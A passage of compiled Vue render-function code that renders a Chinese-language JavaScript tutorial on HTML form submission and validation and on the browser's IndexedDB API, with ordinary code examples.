"),s("p",[t._v("所有的键值对都会提交到服务器。但是，提交的数据格式跟"),s("code",[t._v("<form>")]),t._v("元素的"),s("code",[t._v("method")]),t._v("属性有关。该属性指定了提交数据的 HTTP 方法。如果是 GET 方法，所有键值对会以 URL 的查询字符串形式，提交到服务器，比如"),s("code",[t._v("/handling-page?user_name=张三&user_passwd=123&submit_button=提交")]),t._v("。下面就是 GET 请求的 HTTP 头信息。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token constant"}},[t._v("GET")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("/")]),t._v("handling"),s("span",{pre:!0,attrs:{class:"token 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punctuation"}},[t._v(">")])]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("\x3c!-- 必须填入 Email 地址 --\x3e")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("input")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("type")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("email"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("\x3c!-- 必须填入 URL --\x3e")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token 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line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 触发整个表单的校验")]),t._v("\nform"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("checkValidity")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n\n"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 触发单个表单控件的校验")]),t._v("\nformControl"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("checkValidity")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("p",[s("code",[t._v("checkValidity()")]),t._v("方法返回一个布尔值，"),s("code",[t._v("true")]),t._v("表示通过校验，"),s("code",[t._v("false")]),t._v("表示没有通过校验。因此，提交表单可以封装为下面的函数。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("submitForm")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token parameter"}},[t._v("action")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" form "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getElementById")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'form'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  form"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("action "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" action"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("if")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("form"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("checkValidity")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n    form"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("submit")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token 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"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// true")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br")])]),s("h4",{attrs:{id:"_3-4-validationmessage-属性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-4-validationmessage-属性"}},[t._v("#")]),t._v(" 3.4 validationMessage 属性")]),t._v(" "),s("p",[t._v("控件元素的"),s("code",[t._v("validationMessage")]),t._v("属性返回一个字符串，表示控件不满足校验条件时，浏览器显示的提示文本。以下两种情况，该属性返回空字符串。")]),t._v(" "),s("ul",[s("li",[t._v("该控件不会在提交时自动校验")]),t._v(" "),s("li",[t._v("该控件满足校验条件")])]),t._v(" "),s("div",{staticClass:"language-js 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br")])]),s("p",[t._v("下面是另一个例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" myInput "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" document"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("getElementById")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'myinput'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token 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"),s("p",[t._v("控件元素的"),s("code",[t._v("setCustomValidity()")]),t._v("方法用来定制校验失败时的报错信息。它接受一个字符串作为参数，该字符串就是定制的报错信息。如果参数为空字符串，则上次设置的报错信息被清除。")]),t._v(" "),s("p",[t._v("这个方法可以替换浏览器内置的表单验证报错信息，参数就是要显示的报错信息。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("form")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("action")]),s("span",{pre:!0,attrs:{class:"token attr-value"}},[s("span",{pre:!0,attrs:{class:"token punctuation attr-equals"}},[t._v("=")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')]),t._v("somefile.php"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v('"')])]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(">")])]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token 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诞生的背景。")]),t._v(" "),s("p",[t._v("通俗地说，IndexedDB 就是浏览器提供的本地数据库，它可以被网页脚本创建和操作。IndexedDB 允许储存大量数据，提供查找接口，还能建立索引。这些都是 LocalStorage 所不具备的。就数据库类型而言，IndexedDB 不属于关系型数据库（不支持 SQL 查询语句），更接近 NoSQL 数据库。")]),t._v(" "),s("p",[t._v("IndexedDB 具有以下特点。")]),t._v(" "),s("p",[s("strong",[t._v("（1）键值对储存。")]),t._v(" IndexedDB 内部采用对象仓库（object store）存放数据。所有类型的数据都可以直接存入，包括 JavaScript 对象。对象仓库中，数据以“键值对”的形式保存，每一个数据记录都有对应的主键，主键是独一无二的，不能有重复，否则会抛出一个错误。")]),t._v(" "),s("p",[s("strong",[t._v("（2）异步。")]),t._v(" IndexedDB 操作时不会锁死浏览器，用户依然可以进行其他操作，这与 LocalStorage 形成对比，后者的操作是同步的。异步设计是为了防止大量数据的读写，拖慢网页的表现。")]),t._v(" "),s("p",[s("strong",[t._v("（3）支持事务。")]),t._v(" IndexedDB 支持事务（transaction），这意味着一系列操作步骤之中，只要有一步失败，整个事务就都取消，数据库回滚到事务发生之前的状态，不存在只改写一部分数据的情况。")]),t._v(" "),s("p",[s("strong",[t._v("（4）同源限制。")]),t._v(" IndexedDB 受到同源限制，每一个数据库对应创建它的域名。网页只能访问自身域名下的数据库，而不能访问跨域的数据库。")]),t._v(" "),s("p",[s("strong",[t._v("（5）储存空间大。")]),t._v(" IndexedDB 的储存空间比 LocalStorage 大得多，一般来说不少于 250MB，甚至没有上限。")]),t._v(" "),s("p",[s("strong",[t._v("（6）支持二进制储存。")]),t._v(" IndexedDB 不仅可以储存字符串，还可以储存二进制数据（ArrayBuffer 对象和 Blob 对象）。")]),t._v(" "),s("h3",{attrs:{id:"_2、基本概念"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2、基本概念"}},[t._v("#")]),t._v(" 2、基本概念")]),t._v(" "),s("p",[t._v("IndexedDB 是一个比较复杂的 API，涉及不少概念。它把不同的实体，抽象成一个个对象接口。学习这个 API，就是学习它的各种对象接口。")]),t._v(" "),s("ul",[s("li",[t._v("数据库：IDBDatabase 对象")]),t._v(" "),s("li",[t._v("对象仓库：IDBObjectStore 对象")]),t._v(" "),s("li",[t._v("索引： IDBIndex 对象")]),t._v(" "),s("li",[t._v("事务： IDBTransaction 对象")]),t._v(" "),s("li",[t._v("操作请求：IDBRequest 对象")]),t._v(" "),s("li",[t._v("指针： IDBCursor 对象")]),t._v(" "),s("li",[t._v("主键集合：IDBKeyRange 对象")])]),t._v(" "),s("p",[t._v("下面是一些主要的概念。")]),t._v(" "),s("p",[s("strong",[t._v("（1）数据库")])]),t._v(" "),s("p",[t._v("数据库是一系列相关数据的容器。每个域名（严格的说，是协议 + 域名 + 端口）都可以新建任意多个数据库。")]),t._v(" "),s("p",[t._v("IndexedDB 数据库有版本的概念。同一个时刻，只能有一个版本的数据库存在。如果要修改数据库结构（新增或删除表、索引或者主键），只能通过升级数据库版本完成。")]),t._v(" "),s("p",[s("strong",[t._v("（2）对象仓库")])]),t._v(" "),s("p",[t._v("每个数据库包含若干个对象仓库（object store）。它类似于关系型数据库的表格。")]),t._v(" "),s("p",[s("strong",[t._v("（3）数据记录")])]),t._v(" "),s("p",[t._v("对象仓库保存的是数据记录。每条记录类似于关系型数据库的行，但是只有主键和数据体两部分。主键用来建立默认的索引，必须是不同的，否则会报错。主键可以是数据记录里面的一个属性，也可以指定为一个递增的整数编号。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("id")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token literal-property property"}},[t._v("text")]),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v(":")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'foo'")]),t._v(" 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[t._v("上面代码中，"),s("code",[t._v("key")]),t._v("对应的键值最终是"),s("code",[t._v("2")]),t._v("，而不是"),s("code",[t._v("1")]),t._v("。因为事务"),s("code",[t._v("trans1")]),t._v("先于"),s("code",[t._v("trans2")]),t._v("创建，所以首先执行。")]),t._v(" "),s("p",[t._v("注意，事务有可能失败，只有监听到事务的"),s("code",[t._v("complete")]),t._v("事件，才能保证事务操作成功。")]),t._v(" "),s("p",[t._v("IDBTransaction 对象有以下属性。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("IDBTransaction.db")]),t._v("：返回当前事务所在的数据库对象 IDBDatabase。")]),t._v(" "),s("li",[s("code",[t._v("IDBTransaction.error")]),t._v("：返回当前事务的错误。如果事务没有结束，或者事务成功结束，或者被手动终止，该方法返回"),s("code",[t._v("null")]),t._v("。")]),t._v(" "),s("li",[s("code",[t._v("IDBTransaction.mode")]),t._v("：返回当前事务的模式，默认是"),s("code",[t._v("readonly")]),t._v("（只读），另一个值是"),s("code",[t._v("readwrite")]),t._v("。")]),t._v(" "),s("li",[s("code",[t._v("IDBTransaction.objectStoreNames")]),t._v("：返回一个类似数组的对象 DOMStringList，成员是当前事务涉及的对象仓库的名字。")]),t._v(" "),s("li",[s("code",[t._v("IDBTransaction.onabort")]),t._v("：指定"),s("code",[t._v("abort")]),t._v("事件（事务中断）的监听函数。")]),t._v(" "),s("li",[s("code",[t._v("IDBTransaction.oncomplete")]),t._v("：指定"),s("code",[t._v("complete")]),t._v("事件（事务成功）的监听函数。")]),t._v(" "),s("li",[s("code",[t._v("IDBTransaction.onerror")]),t._v("：指定"),s("code",[t._v("error")]),t._v("事件（事务失败）的监听函数。")])]),t._v(" "),s("p",[t._v("IDBTransaction 对象有以下方法。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("IDBTransaction.abort()")]),t._v("：终止当前事务，回滚所有已经进行的变更。")]),t._v(" "),s("li",[s("code",[t._v("IDBTransaction.objectStore(name)")]),t._v("：返回指定名称的对象仓库 IDBObjectStore。")])]),t._v(" "),s("h3",{attrs:{id:"_9、idbindex-对象"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_9、idbindex-对象"}},[t._v("#")]),t._v(" 9、IDBIndex 对象")]),t._v(" "),s("p",[t._v("IDBIndex 对象代表数据库的索引，通过这个对象可以获取数据库里面的记录。数据记录的主键默认就是带有索引，IDBIndex 对象主要用于通过除主键以外的其他键，建立索引获取对象。")]),t._v(" "),s("p",[t._v("IDBIndex 是持久性的键值对存储。只要插入、更新或删除数据记录，引用的对象库中的记录，索引就会自动更新。")]),t._v(" "),s("p",[s("code",[t._v("IDBObjectStore.index()")]),t._v("方法可以获取 IDBIndex 对象。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" transaction "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" db"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token 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"),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'<td>'")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" cursor"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("value"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("age "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("+")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'</td>'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n    tableEntry"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("appendChild")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("tableRow"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n\n    cursor"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("continue")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("else")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n    console"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("log")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'Entries all displayed.'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br"),s("span",{staticClass:"line-number"},[t._v("15")]),s("br"),s("span",{staticClass:"line-number"},[t._v("16")]),s("br"),s("span",{staticClass:"line-number"},[t._v("17")]),s("br"),s("span",{staticClass:"line-number"},[t._v("18")]),s("br"),s("span",{staticClass:"line-number"},[t._v("19")]),s("br"),s("span",{staticClass:"line-number"},[t._v("20")]),s("br"),s("span",{staticClass:"line-number"},[t._v("21")]),s("br"),s("span",{staticClass:"line-number"},[t._v("22")]),s("br"),s("span",{staticClass:"line-number"},[t._v("23")]),s("br")])]),s("p",[t._v("IDBIndex 对象有以下属性。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("IDBIndex.name")]),t._v("：字符串，索引的名称。")]),t._v(" "),s("li",[s("code",[t._v("IDBIndex.objectStore")]),t._v("：索引所在的对象仓库。")]),t._v(" "),s("li",[s("code",[t._v("IDBIndex.keyPath")]),t._v("：索引的主键。")]),t._v(" "),s("li",[s("code",[t._v("IDBIndex.multiEntry")]),t._v("：布尔值，针对"),s("code",[t._v("keyPath")]),t._v("为数组的情况，如果设为"),s("code",[t._v("true")]),t._v("，创建数组时，每个数组成员都会有一个条目，否则每个数组都只有一个条目。")]),t._v(" "),s("li",[s("code",[t._v("IDBIndex.unique")]),t._v("：布尔值，表示创建索引时是否允许相同的主键。")])]),t._v(" "),s("p",[t._v("IDBIndex 对象有以下方法，它们都是异步的，立即返回的都是一个 IDBRequest 对象。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("IDBIndex.count()")]),t._v("：用来获取记录的数量。它可以接受主键或 IDBKeyRange 对象作为参数，这时只返回符合主键的记录数量，否则返回所有记录的数量。")]),t._v(" "),s("li",[s("code",[t._v("IDBIndex.get(key)")]),t._v("：用来获取符合指定主键的数据记录。")]),t._v(" "),s("li",[s("code",[t._v("IDBIndex.getKey(key)")]),t._v("：用来获取指定的主键。")]),t._v(" "),s("li",[s("code",[t._v("IDBIndex.getAll()")]),t._v("：用来获取所有的数据记录。它可以接受两个参数，都是可选的，第一个参数用来指定主键，第二个参数用来指定返回记录的数量。如果省略这两个参数，则返回所有记录。由于获取成功时，浏览器必须生成所有对象，所以对性能有影响。如果数据集比较大，建议使用 IDBCursor 对象。")]),t._v(" "),s("li",[s("code",[t._v("IDBIndex.getAllKeys()")]),t._v("：该方法与"),s("code",[t._v("IDBIndex.getAll()")]),t._v("方法相似，区别是获取所有主键。")]),t._v(" "),s("li",[s("code",[t._v("IDBIndex.openCursor()")]),t._v("：用来获取一个 IDBCursor 对象，用来遍历索引里面的所有条目。")]),t._v(" "),s("li",[s("code",[t._v("IDBIndex.openKeyCursor()")]),t._v("：该方法与"),s("code",[t._v("IDBIndex.openCursor()")]),t._v("方法相似，区别是遍历所有条目的主键。")])]),t._v(" "),s("h3",{attrs:{id:"_10、idbcursor-对象"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_10、idbcursor-对象"}},[t._v("#")]),t._v(" 10、IDBCursor 对象")]),t._v(" "),s("p",[t._v("IDBCursor 对象代表指针对象，用来遍历数据仓库（IDBObjectStore）或索引（IDBIndex）的记录。")]),t._v(" "),s("p",[t._v("IDBCursor 对象一般通过"),s("code",[t._v("IDBObjectStore.openCursor()")]),t._v("方法获得。")]),t._v(" "),s("div",{staticClass:"language-js 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punctuation"}},[t._v("(")]),t._v("listItem"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n\n      console"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("log")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("cursor"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("source"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n      cursor"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("continue")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n    "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("else")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n      console"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("log")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'Entries all displayed.'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n    "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br"),s("span",{staticClass:"line-number"},[t._v("7")]),s("br"),s("span",{staticClass:"line-number"},[t._v("8")]),s("br"),s("span",{staticClass:"line-number"},[t._v("9")]),s("br"),s("span",{staticClass:"line-number"},[t._v("10")]),s("br"),s("span",{staticClass:"line-number"},[t._v("11")]),s("br"),s("span",{staticClass:"line-number"},[t._v("12")]),s("br"),s("span",{staticClass:"line-number"},[t._v("13")]),s("br"),s("span",{staticClass:"line-number"},[t._v("14")]),s("br"),s("span",{staticClass:"line-number"},[t._v("15")]),s("br"),s("span",{staticClass:"line-number"},[t._v("16")]),s("br"),s("span",{staticClass:"line-number"},[t._v("17")]),s("br")])]),s("p",[t._v("IDBCursor 对象的属性。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("IDBCursor.source")]),t._v("：返回正在遍历的对象仓库或索引。")]),t._v(" "),s("li",[s("code",[t._v("IDBCursor.direction")]),t._v("：字符串，表示指针遍历的方向。共有四个可能的值：next（从头开始向后遍历）、nextunique（从头开始向后遍历，重复的值只遍历一次）、prev（从尾部开始向前遍历）、prevunique（从尾部开始向前遍历，重复的值只遍历一次）。该属性通过"),s("code",[t._v("IDBObjectStore.openCursor()")]),t._v("方法的第二个参数指定，一旦指定就不能改变了。")]),t._v(" "),s("li",[s("code",[t._v("IDBCursor.key")]),t._v("：返回当前记录的主键。")]),t._v(" "),s("li",[s("code",[t._v("IDBCursor.value")]),t._v("：返回当前记录的数据值。")]),t._v(" "),s("li",[t._v("IDBCursor.primaryKey：返回当前记录的主键。对于数据仓库（objectStore）来说，这个属性等同于 IDBCursor.key；对于索引，IDBCursor.key 返回索引的位置值，该属性返回数据记录的主键。")])]),t._v(" "),s("p",[t._v("IDBCursor 对象有如下方法。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("IDBCursor.advance(n)")]),t._v("：指针向前移动 n 个位置。")]),t._v(" "),s("li",[s("code",[t._v("IDBCursor.continue()")]),t._v("：指针向前移动一个位置。它可以接受一个主键作为参数，这时会跳转到这个主键。")]),t._v(" "),s("li",[s("code",[t._v("IDBCursor.continuePrimaryKey()")]),t._v("：该方法需要两个参数，第一个是"),s("code",[t._v("key")]),t._v("，第二个是"),s("code",[t._v("primaryKey")]),t._v("，将指针移到符合这两个参数的位置。")]),t._v(" "),s("li",[s("code",[t._v("IDBCursor.delete()")]),t._v("：用来删除当前位置的记录，返回一个 IDBRequest 对象。该方法不会改变指针的位置。")]),t._v(" "),s("li",[s("code",[t._v("IDBCursor.update()")]),t._v("：用来更新当前位置的记录，返回一个 IDBRequest 对象。它的参数是要写入数据库的新的值。")])]),t._v(" "),s("h3",{attrs:{id:"_11、idbkeyrange-对象"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_11、idbkeyrange-对象"}},[t._v("#")]),t._v(" 11、IDBKeyRange 对象")]),t._v(" "),s("p",[t._v("IDBKeyRange 对象代表数据仓库（object store）里面的一组主键。根据这组主键，可以获取数据仓库或索引里面的一组记录。")]),t._v(" "),s("p",[t._v("IDBKeyRange 可以只包含一个值，也可以指定上限和下限。它有四个静态方法，用来指定主键的范围。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("IDBKeyRange.lowerBound()")]),t._v("：指定下限。")]),t._v(" "),s("li",[s("code",[t._v("IDBKeyRange.upperBound()")]),t._v("：指定上限。")]),t._v(" 